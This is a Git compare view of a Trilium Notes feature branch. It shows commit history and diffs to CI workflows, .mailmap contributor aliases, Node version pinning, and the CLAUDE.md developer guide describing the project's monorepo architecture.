Compare commits

..

11 Commits

Author SHA1 Message Date
perfectra1n
554ada65b2 fix(client): resolve issue with sanitized HTML in client 2026-04-12 15:22:28 -07:00
perfectra1n
e9795dab9d feat(sanitization): use DOMPurify's included tags 2026-04-12 13:16:20 -07:00
perfectra1n
a92561fef3 fix(tests): resolve issue with failing image test 2026-04-12 11:57:39 -07:00
perfectra1n
220e15ea89 fix(types): oops accidentally slapped a period there 2026-04-12 11:31:16 -07:00
perfectra1n
3c4ec1ecfb fix(types): resolve issues with typecheck 2026-04-12 11:28:09 -07:00
perfectra1n
6593470289 Merge origin/main into feat/fun-take1
Resolve merge conflicts in:
- apps/client/src/widgets/highlights_list.ts (keep math formula handling)
- apps/server/src/routes/api/options.ts (keep isReadable/isAllowed split, drop dead getSupportedLocales)

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-12 11:01:38 -07:00
perfectra1n
4721a60214 Merge remote-tracking branch 'origin/main' into feat/fun-take1
# Conflicts:
#	apps/client/src/services/doc_renderer.ts
#	apps/desktop/electron-forge/forge.config.ts
#	apps/desktop/package.json
#	apps/server/src/routes/api/files.ts
#	apps/server/src/routes/api/image.ts
#	apps/server/src/services/open_id.ts
#	apps/server/src/share/routes.ts
#	pnpm-lock.yaml
2026-04-05 18:56:29 -07:00
perfectra1n
732d1280c0 Merge branch 'main' into feat/fun-take1
# Conflicts:
#	apps/client/package.json
#	pnpm-lock.yaml
2026-04-05 15:21:58 -07:00
perfectra1n
8ce969c5ad feat(dev): merge main into feature branch 2026-03-22 18:05:39 -07:00
perfectra1n
43963b7b71 feat(security): require scripting to be enabled for sharing? 2026-02-25 12:01:30 -08:00
perfectra1n
f94f91656a feat(security): implement a ton of security guardrails, as well as completely disabling scripting if wanted 2026-02-19 15:59:22 -08:00
921 changed files with 26335 additions and 45292 deletions

View File

@@ -1,7 +0,0 @@
{
"permissions": {
"allow": [
"Bash(gh issue *)"
]
}
}

View File

@@ -66,20 +66,12 @@ runs:
if: ${{ inputs.os == 'linux' }}
shell: ${{ inputs.shell }}
run: |
sudo apt-get update && sudo apt-get install rpm flatpak-builder elfutils libfuse2
sudo apt-get update && sudo apt-get install rpm flatpak-builder elfutils
flatpak remote-add --user --if-not-exists flathub https://flathub.org/repo/flathub.flatpakrepo
FLATPAK_ARCH=$(if [[ ${{ inputs.arch }} = 'arm64' ]]; then echo 'aarch64'; else echo 'x86_64'; fi)
FLATPAK_VERSION='24.08'
flatpak install --user --no-deps --arch $FLATPAK_ARCH --assumeyes runtime/org.freedesktop.Platform/$FLATPAK_ARCH/$FLATPAK_VERSION runtime/org.freedesktop.Sdk/$FLATPAK_ARCH/$FLATPAK_VERSION org.electronjs.Electron2.BaseApp/$FLATPAK_ARCH/$FLATPAK_VERSION
- name: Install appimagetool
if: ${{ inputs.os == 'linux' }}
shell: ${{ inputs.shell }}
run: |
APPIMAGETOOL_ARCH=$(if [[ ${{ inputs.arch }} = 'arm64' ]]; then echo 'aarch64'; else echo 'x86_64'; fi)
wget -q "https://github.com/AppImage/appimagetool/releases/download/continuous/appimagetool-${APPIMAGETOOL_ARCH}.AppImage" -O /usr/local/bin/appimagetool
chmod +x /usr/local/bin/appimagetool
- name: Update build info
shell: ${{ inputs.shell }}
run: pnpm run chore:update-build-info
@@ -98,14 +90,6 @@ runs:
TARGET_ARCH: ${{ inputs.arch }}
run: pnpm run --filter desktop electron-forge:make --arch=${{ inputs.arch }} --platform=${{ inputs.forge_platform }}
- name: Build AppImage
if: ${{ inputs.os == 'linux' }}
shell: ${{ inputs.shell }}
env:
TRILIUM_ARTIFACT_NAME_HINT: TriliumNotes-${{ github.ref_name }}-${{ inputs.os }}-${{ inputs.arch }}
APPIMAGE_EXTRACT_AND_RUN: "1"
run: bash apps/desktop/scripts/build-appimage.sh ${{ inputs.arch }}
# Add DMG signing step
- name: Sign DMG
if: inputs.os == 'macos'

View File

@@ -8,7 +8,7 @@ inputs:
runs:
using: composite
steps:
- uses: pnpm/action-setup@v6
- uses: pnpm/action-setup@v5
- name: Set up node & dependencies
uses: actions/setup-node@v6
with:

View File

@@ -55,7 +55,7 @@ runs:
# Post deployment URL as PR comment
- name: Comment PR with Preview URL
if: github.event_name == 'pull_request'
uses: actions/github-script@v9
uses: actions/github-script@v8
env:
COMMENT_BODY: ${{ inputs.comment_body }}
PRODUCTION_URL: ${{ inputs.production_url }}

View File

@@ -154,7 +154,7 @@ pnpm desktop:build # Build desktop application
### Test Organization
- **Server tests** (`apps/server/spec/`): Must run sequentially (shared database state)
- **Client tests** (`apps/client/src/`): Can run in parallel
- **E2E tests** (`packages/trilium-e2e/`): Shared Playwright tests, run via `pnpm --filter server e2e` or `pnpm --filter client-standalone e2e`
- **E2E tests** (`apps/server-e2e/`): Use Playwright for integration testing
- **ETAPI tests** (`apps/server/spec/etapi/`): External API contract tests
**Pattern**: When adding new API endpoints, add tests in `spec/etapi/` following existing patterns (see `search.spec.ts`).

View File

@@ -1,44 +0,0 @@
name: Claude Code Review
on:
pull_request:
types: [opened, synchronize, ready_for_review, reopened]
# Optional: Only run on specific file changes
# paths:
# - "src/**/*.ts"
# - "src/**/*.tsx"
# - "src/**/*.js"
# - "src/**/*.jsx"
jobs:
claude-review:
# Optional: Filter by PR author
# if: |
# github.event.pull_request.user.login == 'external-contributor' ||
# github.event.pull_request.user.login == 'new-developer' ||
# github.event.pull_request.author_association == 'FIRST_TIME_CONTRIBUTOR'
runs-on: ubuntu-latest
permissions:
contents: read
pull-requests: write
issues: read
id-token: write
steps:
- name: Checkout repository
uses: actions/checkout@v6
with:
fetch-depth: 1
- name: Run Claude Code Review
id: claude-review
uses: anthropics/claude-code-action@v1
with:
claude_code_oauth_token: ${{ secrets.CLAUDE_CODE_OAUTH_TOKEN }}
plugin_marketplaces: 'https://github.com/anthropics/claude-code.git'
plugins: 'code-review@claude-code-plugins'
prompt: '/code-review:code-review ${{ github.repository }}/pull/${{ github.event.pull_request.number }}'
# See https://github.com/anthropics/claude-code-action/blob/main/docs/usage.md
# or https://code.claude.com/docs/en/cli-reference for available options

View File

@@ -1,50 +0,0 @@
name: Claude Code
on:
issue_comment:
types: [created]
pull_request_review_comment:
types: [created]
issues:
types: [opened, assigned]
pull_request_review:
types: [submitted]
jobs:
claude:
if: |
(github.event_name == 'issue_comment' && contains(github.event.comment.body, '@claude')) ||
(github.event_name == 'pull_request_review_comment' && contains(github.event.comment.body, '@claude')) ||
(github.event_name == 'pull_request_review' && contains(github.event.review.body, '@claude')) ||
(github.event_name == 'issues' && (contains(github.event.issue.body, '@claude') || contains(github.event.issue.title, '@claude')))
runs-on: ubuntu-latest
permissions:
contents: write
pull-requests: write
issues: write
id-token: write
actions: read # Required for Claude to read CI results on PRs
steps:
- name: Checkout repository
uses: actions/checkout@v6
with:
fetch-depth: 1
- name: Run Claude Code
id: claude
uses: anthropics/claude-code-action@v1
with:
claude_code_oauth_token: ${{ secrets.CLAUDE_CODE_OAUTH_TOKEN }}
# This is an optional setting that allows Claude to read CI results on PRs
additional_permissions: |
actions: read
# Optional: Give a custom prompt to Claude. If this is not specified, Claude will perform the instructions specified in the comment that tagged it.
# prompt: 'Update the pull request description to include a summary of changes.'
# Optional: Add claude_args to customize behavior and configuration
# See https://github.com/anthropics/claude-code-action/blob/main/docs/usage.md
# or https://code.claude.com/docs/en/cli-reference for available options
# claude_args: '--allowed-tools Bash(gh pr *)'

View File

@@ -1,70 +0,0 @@
name: Deploy Standalone App
on:
# Trigger on push to main branch
push:
branches:
- standalone
# Only run when app files change
paths:
- 'apps/client/**'
- 'apps/client-standalone/**'
- 'packages/trilium-core/**'
- '.github/workflows/deploy-app.yml'
# Allow manual triggering from Actions tab
workflow_dispatch:
# Run on pull requests for preview deployments
pull_request:
paths:
- 'apps/client/**'
- 'apps/client-standalone/**'
- 'packages/trilium-core/**'
- '.github/workflows/deploy-app.yml'
jobs:
build-and-deploy:
name: Build and Deploy App
runs-on: ubuntu-latest
timeout-minutes: 10
# Required permissions for deployment
permissions:
contents: read
deployments: write
pull-requests: write # For PR preview comments
id-token: write # For OIDC authentication (if needed)
steps:
- name: Checkout Repository
uses: actions/checkout@v6
- name: Setup pnpm
uses: pnpm/action-setup@v4
- name: Setup Node.js
uses: actions/setup-node@v6
with:
node-version: '24'
cache: 'pnpm'
- name: Install Dependencies
run: pnpm install --frozen-lockfile
- name: Update build info
run: pnpm run chore:update-build-info
- name: Trigger build of app
run: pnpm --filter=client-standalone build
- name: Deploy
uses: ./.github/actions/deploy-to-cloudflare-pages
if: github.repository == vars.REPO_MAIN
with:
project_name: "trilium-app"
comment_body: "🖥️ App preview is ready"
production_url: "https://app.triliumnotes.org"
deploy_dir: "apps/client-standalone/dist"
cloudflare_api_token: ${{ secrets.CLOUDFLARE_API_TOKEN }}
cloudflare_account_id: ${{ secrets.CLOUDFLARE_ACCOUNT_ID }}
github_token: ${{ secrets.GITHUB_TOKEN }}

View File

@@ -45,7 +45,7 @@ jobs:
uses: actions/checkout@v6
- name: Setup pnpm
uses: pnpm/action-setup@v6
uses: pnpm/action-setup@v5
- name: Setup Node.js
uses: actions/setup-node@v6

View File

@@ -3,12 +3,10 @@ on:
push:
branches:
- main
- standalone
- "release/*"
pull_request:
branches:
- main
- standalone
- "release/*"
concurrency:
@@ -32,7 +30,7 @@ jobs:
- name: Checkout the repository
uses: actions/checkout@v6
- uses: pnpm/action-setup@v6
- uses: pnpm/action-setup@v5
- name: Set up node & dependencies
uses: actions/setup-node@v6
with:
@@ -65,20 +63,13 @@ jobs:
path: apps/server/test-output/vitest/html/
retention-days: 30
- name: Run the client-standalone tests
# Runs the same trilium-core spec set as the server suite, but in
# happy-dom + sql.js WASM via BrowserSqlProvider (see
# apps/client-standalone/src/test_setup.ts). Catches differences
# between the Node-side and browser-side runtimes.
run: pnpm run --filter=client-standalone test
- name: Run CKEditor e2e tests
run: |
pnpm run --filter=ckeditor5-mermaid test
pnpm run --filter=ckeditor5-math test
- name: Run the rest of the tests
run: pnpm run --filter=\!client --filter=\!client-standalone --filter=\!server --filter=\!ckeditor5-mermaid --filter=\!ckeditor5-math test
run: pnpm run --filter=\!client --filter=\!server --filter=\!ckeditor5-mermaid --filter=\!ckeditor5-math test
build_docker:
name: Build Docker image
@@ -87,7 +78,7 @@ jobs:
- test_dev
steps:
- uses: actions/checkout@v6
- uses: pnpm/action-setup@v6
- uses: pnpm/action-setup@v5
- name: Install dependencies
run: pnpm install --frozen-lockfile
- name: Update build info
@@ -122,7 +113,7 @@ jobs:
- name: Checkout the repository
uses: actions/checkout@v6
- uses: pnpm/action-setup@v6
- uses: pnpm/action-setup@v5
- name: Install dependencies
run: pnpm install --frozen-lockfile

View File

@@ -18,7 +18,7 @@ jobs:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v6
- uses: pnpm/action-setup@v6
- uses: pnpm/action-setup@v5
- name: Set up node & dependencies
uses: actions/setup-node@v6
with:

View File

@@ -2,7 +2,6 @@ on:
push:
branches:
- "main"
- "standalone"
- "feature/update**"
- "feature/server_esm**"
paths-ignore:
@@ -43,7 +42,7 @@ jobs:
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v4
- uses: pnpm/action-setup@v6
- uses: pnpm/action-setup@v5
- name: Set up node & dependencies
uses: actions/setup-node@v6
with:
@@ -83,7 +82,7 @@ jobs:
require-healthy: true
- name: Run Playwright tests
run: TRILIUM_DOCKER=1 TRILIUM_PORT=8082 pnpm --filter=server e2e
run: TRILIUM_DOCKER=1 TRILIUM_PORT=8082 pnpm --filter=server-e2e e2e
- name: Upload Playwright trace
if: failure()
@@ -143,7 +142,7 @@ jobs:
- name: Checkout repository
uses: actions/checkout@v6
- uses: pnpm/action-setup@v6
- uses: pnpm/action-setup@v5
- name: Set up node & dependencies
uses: actions/setup-node@v6
with:

View File

@@ -1,57 +0,0 @@
name: Mobile
on:
push:
workflow_dispatch:
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}
cancel-in-progress: true
jobs:
build_android:
name: Build Android APK
runs-on: ubuntu-latest
steps:
- name: Checkout the repository
uses: actions/checkout@v6
- uses: pnpm/action-setup@v6
- name: Set up Node.js
uses: actions/setup-node@v6
with:
node-version: 24
cache: "pnpm"
- name: Set up JDK 21
uses: actions/setup-java@v5
with:
distribution: temurin
java-version: 21
- name: Set up Gradle
uses: gradle/actions/setup-gradle@v5
- name: Install dependencies
run: pnpm install --frozen-lockfile
- name: Update build info
run: pnpm run chore:update-build-info
- name: Build client-standalone (webDir for Capacitor)
run: pnpm --filter @triliumnext/mobile build
- name: Sync Capacitor Android project
run: pnpm --filter @triliumnext/mobile exec cap sync android
- name: Assemble debug APK
working-directory: apps/mobile/android
run: ./gradlew assembleDebug --no-daemon
- name: Upload APK
uses: actions/upload-artifact@v7
with:
name: trilium-mobile-debug-apk
path: apps/mobile/android/app/build/outputs/apk/debug/*.apk
retention-days: 14

View File

@@ -42,7 +42,7 @@ jobs:
shell: bash
forge_platform: linux
- name: windows
image: windows-latest
image: win-signing
shell: cmd
forge_platform: win32
# Exclude ARM64 Linux from default matrix to use native runner
@@ -61,7 +61,7 @@ jobs:
runs-on: ${{ matrix.os.image }}
steps:
- uses: actions/checkout@v6
- uses: pnpm/action-setup@v6
- uses: pnpm/action-setup@v5
- name: Set up node & dependencies
uses: actions/setup-node@v6
with:
@@ -88,10 +88,12 @@ jobs:
APPLE_TEAM_ID: ${{ secrets.APPLE_TEAM_ID }}
APPLE_ID: ${{ secrets.APPLE_ID }}
APPLE_ID_PASSWORD: ${{ secrets.APPLE_ID_PASSWORD }}
WINDOWS_SIGN_EXECUTABLE: ${{ vars.WINDOWS_SIGN_EXECUTABLE }}
WINDOWS_SIGN_ERROR_LOG: ${{ vars.WINDOWS_SIGN_ERROR_LOG }}
GPG_SIGNING_KEY: ${{ secrets.GPG_SIGN_KEY }}
- name: Publish release
uses: softprops/action-gh-release@v3.0.0
uses: softprops/action-gh-release@v2.6.1
if: ${{ github.event_name != 'pull_request' }}
with:
make_latest: false
@@ -132,7 +134,7 @@ jobs:
arch: ${{ matrix.arch }}
- name: Publish release
uses: softprops/action-gh-release@v3.0.0
uses: softprops/action-gh-release@v2.6.1
if: ${{ github.event_name != 'pull_request' }}
with:
make_latest: false

View File

@@ -14,7 +14,7 @@ permissions:
contents: read
jobs:
e2e-server:
e2e:
strategy:
fail-fast: false
matrix:
@@ -38,7 +38,7 @@ jobs:
filter: tree:0
fetch-depth: 0
- uses: pnpm/action-setup@v6
- uses: pnpm/action-setup@v5
- uses: actions/setup-node@v6
with:
node-version: 24
@@ -73,66 +73,15 @@ jobs:
sleep 10
- name: Server end-to-end tests
run: pnpm --filter server e2e
run: pnpm --filter server-e2e e2e
- name: Upload test report
if: failure()
uses: actions/upload-artifact@v7
with:
name: e2e report ${{ matrix.arch }}
path: apps/server/test-output
path: apps/server-e2e/test-output
- name: Kill the server
if: always()
run: pkill -f trilium || true
e2e-standalone:
strategy:
fail-fast: false
matrix:
include:
- name: linux-x64
os: ubuntu-22.04
- name: linux-arm64
os: ubuntu-24.04-arm
runs-on: ${{ matrix.os }}
name: Standalone E2E tests on ${{ matrix.name }}
env:
TRILIUM_DOCKER: 1
TRILIUM_PORT: 8082
steps:
- uses: actions/checkout@v6
with:
filter: tree:0
fetch-depth: 0
- uses: pnpm/action-setup@v5
- uses: actions/setup-node@v6
with:
node-version: 24
cache: 'pnpm'
- name: Install dependencies
run: pnpm install --frozen-lockfile
- name: Install Playwright browsers
run: pnpm exec playwright install --with-deps
- name: Build standalone
run: TRILIUM_INTEGRATION_TEST=memory pnpm --filter client-standalone build
- name: Start standalone preview server
run: |
cd apps/client-standalone
pnpm vite preview --port $TRILIUM_PORT --host 127.0.0.1 &
sleep 5
- name: Standalone end-to-end tests
run: pnpm --filter client-standalone e2e
- name: Upload test report
if: failure()
uses: actions/upload-artifact@v7
with:
name: standalone e2e report ${{ matrix.name }}
path: apps/client-standalone/test-output

View File

@@ -17,7 +17,7 @@ jobs:
steps:
- uses: actions/checkout@v6
- uses: pnpm/action-setup@v6
- uses: pnpm/action-setup@v5
- name: Set up node & dependencies
uses: actions/setup-node@v6
with:
@@ -66,7 +66,7 @@ jobs:
runs-on: ${{ matrix.os.image }}
steps:
- uses: actions/checkout@v6
- uses: pnpm/action-setup@v6
- uses: pnpm/action-setup@v5
- name: Set up node & dependencies
uses: actions/setup-node@v6
with:
@@ -150,7 +150,7 @@ jobs:
path: upload
- name: Publish stable release
uses: softprops/action-gh-release@v3.0.0
uses: softprops/action-gh-release@v2.6.1
with:
draft: false
body_path: docs/Release Notes/Release Notes/${{ github.ref_name }}.md

View File

@@ -32,7 +32,7 @@ jobs:
steps:
- uses: actions/checkout@v6
- uses: pnpm/action-setup@v6
- uses: pnpm/action-setup@v5
- name: Set up node & dependencies
uses: actions/setup-node@v6
with:
@@ -58,7 +58,7 @@ jobs:
compression-level: 0
- name: Release web clipper extension
uses: softprops/action-gh-release@v3.0.0
uses: softprops/action-gh-release@v2.6.1
if: ${{ startsWith(github.ref, 'refs/tags/web-clipper-v') }}
with:
draft: false

View File

@@ -26,7 +26,7 @@ jobs:
steps:
- uses: actions/checkout@v6
- uses: pnpm/action-setup@v6
- uses: pnpm/action-setup@v5
- name: Set up node & dependencies
uses: actions/setup-node@v6
with:

3
.gitignore vendored
View File

@@ -51,6 +51,3 @@ upload
site/
apps/*/coverage
scripts/translation/.language*.json
# AI
.claude/settings.local.json

118
.mailmap
View File

@@ -1,116 +1,2 @@
# Format: Canonical Name <canonical-email> <commit-email>
# Merges aliases so `git shortlog`, `git log --use-mailmap`, etc. group commits per person.
# Core maintainers
zadam <zadam.apps@gmail.com>
zadam <zadam.apps@gmail.com> <adam.zivner@gmail.com>
zadam <zadam.apps@gmail.com> <adam.zivner@gemalto.com>
Elian Doran <contact@eliandoran.me>
Elian Doran <contact@eliandoran.me> <online@eliandoran.me>
Adorian Doran <adorian@esevo.ro>
Adorian Doran <adorian@esevo.ro> <adoriandoran@gmail.com>
# Contributors with multiple emails / name variants
Panagiotis Papadopoulos <pano_90@gmx.net> <102623907+pano9000@users.noreply.github.com>
Jon Fuller <jonfuller2012@gmail.com>
SiriusXT <1160925501@qq.com>
SiriusXT <1160925501@qq.com> <11609255001@qq.com>
SiriusXT <1160925501@qq.com> <37627919+SiriusXT@users.noreply.github.com>
JYC333 <22962980+JYC333@users.noreply.github.com>
JYC333 <22962980+JYC333@users.noreply.github.com> <yuchuanjin333@gmail.com>
Nriver <6752679+Nriver@users.noreply.github.com>
Francis C. <normitomf@gmail.com>
Francis C. <normitomf@gmail.com> <francistw@users.noreply.github.com>
Thomas Frei <7283497+thfrei@users.noreply.github.com>
hasecilu <hasecilu@tuta.io>
meinzzzz <lukas.geiselhart35@gmail.com>
FliegendeWurst <arne.keller@posteo.de>
FliegendeWurst <arne.keller@posteo.de> <2012gdwu@web.de>
FliegendeWurst <arne.keller@posteo.de> <2012gdwu+github@posteo.de>
MeIchthys <github.com@meichthys.com>
MeIchthys <github.com@meichthys.com> <10717998+meichthys@users.noreply.github.com>
Marcel Wiechmann <marcel.wiechmann@gmail.com>
Marcel Wiechmann <marcel.wiechmann@gmail.com> <github.y3y0w@sl.wiechmann.at>
Tomas Adamek <ad.tomik@seznam.cz>
Tomas Adamek <ad.tomik@seznam.cz> <50672285+Kureii@users.noreply.github.com>
soulsands <407221377@qq.com>
chesspro13 <chesspro13@gmail.com>
sigaloid <69441971+sigaloid@users.noreply.github.com>
Marek Lewandowski <m.lewandowski@cksource.com>
Marek Lewandowski <m.lewandowski@cksource.com> <code@mlewandowski.com>
Marek Lewandowski <m.lewandowski@cksource.com> <mlewand@users.noreply.github.com>
lzinga <lucas.elzinga@outlook.com>
lzinga <lucas.elzinga@outlook.com> <lzinga@users.noreply.github.com>
Sukant Gujar <sukantgujar@yahoo.com>
Matt Wilkie <maphew@gmail.com>
Matt Wilkie <maphew@gmail.com> <matt.wilkie@yukon.ca>
Andreas Haan <andreas.mobil1@googlemail.com>
Potjoe-97 <42873357+Potjoe-97@users.noreply.github.com>
Potjoe-97 <42873357+Potjoe-97@users.noreply.github.com> <giann@LAPTOPT490-GF>
Alex Pietsch <54153428+alexpietsch@users.noreply.github.com>
Laurent Cozic <laurent@cozic.net>
Laurent Cozic <laurent@cozic.net> <laurent22@users.noreply.github.com>
Zexin Yuan <git@yzx9.xyz>
Zexin Yuan <git@yzx9.xyz> <yuan.zx@outlook.com>
hulmgulm <hulmgulm@users.noreply.github.com>
hulmgulm <hulmgulm@users.noreply.github.com> <12165268+hulmgulm@users.noreply.github.com>
hulmgulm <hulmgulm@users.noreply.github.com> <github@hulmgulm.de>
Jules Bertholet <jules.bertholet@gmail.com>
Charles Dagenais <dagenais.charles@gmail.com>
Giulia Ye <yg97.cs@gmail.com>
baddate <37013819+baddate@users.noreply.github.com>
DerVogel101 <128903814+DerVogel101@users.noreply.github.com>
DerVogel101 <128903814+DerVogel101@users.noreply.github.com> <jan.irmer@outlook.de>
Marcello Fuschi <marcellofuschi1@gmail.com>
Jiahao Lee <lijiahao34@live.com>
Dmitry Matveyev <dev@greenfork.me>
Dmitry Matveyev <dev@greenfork.me> <info@greenfork.me>
Grant Zhu <a1065135230@gmail.com>
Sylvain Pasche <sylvain.pasche@gmail.com>
Sylvain Pasche <sylvain.pasche@gmail.com> <spasche@spasche.net>
mm21 <8033134+mm21@users.noreply.github.com>
mm21 <8033134+mm21@users.noreply.github.com> <mm21.dev@gmail.com>
BeatLink <git@beatlink.simplelogin.com>
BeatLink <git@beatlink.simplelogin.com> <github@beatlink.simplelogin.com>
Florian Meißner <161936+Mystler@users.noreply.github.com>
Florian Meißner <161936+Mystler@users.noreply.github.com> <developer@mystler.eu>
zadam <adam.zivner@gmail.com>
zadam <zadam.apps@gmail.com>

2
.nvmrc
View File

@@ -1 +1 @@
24.15.0
24.14.1

280
CLAUDE.md
View File

@@ -6,122 +6,68 @@ This file provides guidance to Claude Code (claude.ai/code) when working with co
## Overview
Trilium Notes is a hierarchical note-taking application with synchronization, scripting, and rich text editing. TypeScript monorepo using pnpm with multiple apps and shared packages.
Trilium Notes is a hierarchical note-taking application with advanced features like synchronization, scripting, and rich text editing. It's built as a TypeScript monorepo using pnpm, with multiple applications and shared packages.
## Development Commands
```bash
# Setup
corepack enable && pnpm install
### Setup
- `pnpm install` - Install all dependencies
- `corepack enable` - Enable pnpm if not available
# Run
pnpm server:start # Dev server at http://localhost:8080
pnpm desktop:start # Electron dev app
pnpm standalone:start # Standalone client dev
### Running Applications
- `pnpm run server:start` - Start development server (http://localhost:8080)
- `pnpm run server:start-prod` - Run server in production mode
# Build
pnpm client:build # Frontend
pnpm server:build # Backend
pnpm desktop:build # Electron
### Building
- `pnpm run client:build` - Build client application
- `pnpm run server:build` - Build server application
- `pnpm run electron:build` - Build desktop application
# Test
pnpm test:all # All tests (parallel + sequential)
pnpm test:parallel # Client + most package tests
pnpm test:sequential # Server, ckeditor5-mermaid, ckeditor5-math (shared DB)
pnpm --filter server test # Single package tests
pnpm coverage # Coverage reports
### Testing
- `pnpm test:all` - Run all tests (parallel + sequential)
- `pnpm test:parallel` - Run tests that can run in parallel
- `pnpm test:sequential` - Run tests that must run sequentially (server, ckeditor5-mermaid, ckeditor5-math)
- `pnpm coverage` - Generate coverage reports
# Lint & Format
pnpm dev:linter-check # ESLint check
pnpm dev:linter-fix # ESLint fix
pnpm dev:format-check # Format check (stricter stylistic rules)
pnpm dev:format-fix # Format fix
pnpm typecheck # TypeScript type check across all projects
```
## Architecture Overview
**Running a single test file**: `pnpm --filter server test spec/etapi/search.spec.ts`
### Monorepo Structure
- **apps/**: Runnable applications
- `client/` - Frontend application (shared by server and desktop)
- `server/` - Node.js server with web interface
- `desktop/` - Electron desktop application
- `web-clipper/` - Browser extension for saving web content
- Additional tools: `db-compare`, `dump-db`, `edit-docs`
## Main Applications
- **packages/**: Shared libraries
- `commons/` - Shared interfaces and utilities
- `ckeditor5/` - Custom rich text editor with Trilium-specific plugins
- `codemirror/` - Code editor customizations
- `highlightjs/` - Syntax highlighting
- Custom CKEditor plugins: `ckeditor5-admonition`, `ckeditor5-footnotes`, `ckeditor5-math`, `ckeditor5-mermaid`
The four main apps share `packages/trilium-core/` for business logic but differ in runtime:
### Core Architecture Patterns
- **client** (`apps/client/`): Preact frontend with jQuery widget system. Shared UI layer used by both server and desktop.
- **server** (`apps/server/`): Node.js backend (Express, better-sqlite3). Serves the client and provides REST/WebSocket APIs.
- **desktop** (`apps/desktop/`): Electron wrapper around server + client, running both in a single process.
- **standalone** (`apps/client-standalone/` + `apps/standalone-desktop/`): Runs the entire stack in the browser — server logic compiled to WASM via sql.js, executed in a service worker. No Node.js dependency at runtime.
#### Three-Layer Cache System
- **Becca** (Backend Cache): Server-side entity cache (`apps/server/src/becca/`)
- **Froca** (Frontend Cache): Client-side mirror of backend data (`apps/client/src/services/froca.ts`)
- **Shaca** (Share Cache): Optimized cache for shared/published notes (`apps/server/src/share/`)
## Monorepo Structure
#### Entity System
Core entities are defined in `apps/server/src/becca/entities/`:
- `BNote` - Notes with content and metadata
- `BBranch` - Hierarchical relationships between notes (allows multiple parents)
- `BAttribute` - Key-value metadata attached to notes
- `BRevision` - Note version history
- `BOption` - Application configuration
```
apps/
client/ # Preact frontend (shared by server, desktop, standalone)
server/ # Node.js backend (Express, better-sqlite3)
desktop/ # Electron (bundles server + client)
client-standalone/ # Standalone client (WASM + service workers, no Node.js)
standalone-desktop/ # Standalone desktop variant
web-clipper/ # Browser extension
website/ # Project website
db-compare/, dump-db/, edit-docs/, build-docs/, icon-pack-builder/
packages/
trilium-core/ # Core business logic: entities, services, SQL, sync
commons/ # Shared interfaces and utilities
trilium-e2e/ # Shared Playwright E2E tests
ckeditor5/ # Custom rich text editor bundle
codemirror/ # Code editor integration
highlightjs/ # Syntax highlighting
share-theme/ # Theme for shared/published notes
ckeditor5-admonition/, ckeditor5-footnotes/, ckeditor5-math/, ckeditor5-mermaid/
ckeditor5-keyboard-marker/, express-partial-content/, pdfjs-viewer/, splitjs/
turndown-plugin-gfm/
```
Use `pnpm --filter <package-name> <command>` to run commands in specific packages.
## Core Architecture
### Three-Layer Cache System
All data access goes through cache layers — never bypass with direct DB queries:
- **Becca** (`packages/trilium-core/src/becca/`): Server-side entity cache. Access via `becca.notes[noteId]`.
- **Froca** (`apps/client/src/services/froca.ts`): Client-side mirror synced via WebSocket. Access via `froca.getNote()`.
- **Shaca** (`apps/server/src/share/`): Optimized cache for shared/published notes.
**Critical**: Always use cache methods, not direct DB writes. Cache methods create `EntityChange` records needed for synchronization.
### Entity System
Core entities live in `packages/trilium-core/src/becca/entities/` (not `apps/server/`):
- `BNote` — Notes with content and metadata
- `BBranch` — Multi-parent tree relationships (cloning supported)
- `BAttribute` — Key-value metadata (labels and relations)
- `BRevision` — Version history
- `BOption` — Application configuration
- `BBlob` — Binary content storage
Entities extend `AbstractBeccaEntity<T>` with built-in change tracking, hash generation, and date management.
### Entity Change & Sync Protocol
Every entity modification creates an `EntityChange` record driving sync:
1. Login with HMAC authentication (document secret + timestamp)
2. Push changes → Pull changes → Push again (conflict resolution)
3. Content hash verification with retry loop
Sync services: `packages/trilium-core/src/services/sync.ts`, `syncMutexService`, `syncUpdateService`.
### Widget-Based UI
Frontend widgets in `apps/client/src/widgets/`:
- `BasicWidget` / `TypedBasicWidget` — Base classes (jQuery `this.$widget` for DOM)
- `NoteContextAwareWidget` — Responds to note changes
- `RightPanelWidget` — Sidebar widgets with position ordering
#### Widget-Based UI
Frontend uses a widget system (`apps/client/src/widgets/`):
- `BasicWidget` - Base class for all UI components
- `NoteContextAwareWidget` - Widgets that respond to note changes
- `RightPanelWidget` - Widgets displayed in the right panel
- Type-specific widgets in `type_widgets/` directory
**Widget lifecycle**: `doRenderBody()` for initial render, `refreshWithNote()` for note changes, `entitiesReloadedEvent({loadResults})` for entity updates. Uses jQuery — don't mix React patterns.
#### Reusable Preact Components
Common UI components are available in `apps/client/src/widgets/react/` — prefer reusing these over creating custom implementations:
- `NoItems` - Empty state placeholder with icon and message (use for "no results", "too many items", error states)
@@ -131,48 +77,42 @@ Common UI components are available in `apps/client/src/widgets/react/` — prefe
- `Checkbox`, `RadioButton` - Form controls
- `CollapsibleSection` - Expandable content sections
Fluent builder pattern: `.child()`, `.class()`, `.css()` chaining with position-based ordering.
#### API Architecture
- **Internal API**: REST endpoints in `apps/server/src/routes/api/`
- **ETAPI**: External API for third-party integrations (`apps/server/src/etapi/`)
- **WebSocket**: Real-time synchronization (`apps/server/src/services/ws.ts`)
### API Architecture
### Key Files for Understanding Architecture
- **Internal API** (`apps/server/src/routes/api/`): REST endpoints, trusts frontend
- **ETAPI** (`apps/server/src/etapi/`): External API with basic auth tokens — maintain backwards compatibility
- **WebSocket** (`apps/server/src/services/ws.ts`): Real-time sync
1. **Application Entry Points**:
- `apps/server/src/main.ts` - Server startup
- `apps/client/src/desktop.ts` - Client initialization
### Platform Abstraction
2. **Core Services**:
- `apps/server/src/becca/becca.ts` - Backend data management
- `apps/client/src/services/froca.ts` - Frontend data synchronization
- `apps/server/src/services/backend_script_api.ts` - Scripting API
`packages/trilium-core/src/services/platform.ts` defines `PlatformProvider` interface with implementations in `apps/desktop/`, `apps/server/`, and `apps/client-standalone/`. Singleton via `initPlatform()`/`getPlatform()`.
3. **Database Schema**:
- `apps/server/src/assets/db/schema.sql` - Core database structure
**PlatformProvider** provides:
- `crash(message)` Platform-specific fatal error handling
- `getEnv(key)` — Environment variable access (server/desktop use `process.env`, standalone maps URL query params like `?safeMode``TRILIUM_SAFE_MODE`)
